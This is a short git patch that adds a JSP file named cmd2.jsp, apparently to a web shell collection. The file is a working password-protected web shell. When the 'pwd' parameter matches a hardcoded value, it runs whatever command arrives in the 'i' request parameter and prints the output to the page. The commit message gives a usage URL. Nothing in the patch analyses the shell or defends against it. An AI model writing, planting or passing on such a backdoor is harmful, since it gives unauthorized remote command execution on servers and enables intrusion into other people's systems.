From abaa8b5d135b214b034d0206dff9359b70a113e2 Mon Sep 17 00:00:00 2001 From: tennc Date: Fri, 19 Dec 2014 17:01:43 +0800 Subject: [PATCH] add cmd2.jsp like http://site/url/cmd2.jsp?pwd=023&i=ls --- jsp/cat/cmd2.jsp | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 jsp/cat/cmd2.jsp diff --git a/jsp/cat/cmd2.jsp b/jsp/cat/cmd2.jsp new file mode 100644 index 0000000..1b9a2b1 --- /dev/null +++ b/jsp/cat/cmd2.jsp @@ -0,0 +1,12 @@ +<% + if("023".equals(request.getParameter("pwd"))){ + java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); + int a = -1; + byte[] b = new byte[2048]; + out.print("
");
+        while((a=in.read(b))!=-1){
+            out.println(new String(b));
+        }
+        out.print("
"); + } +%>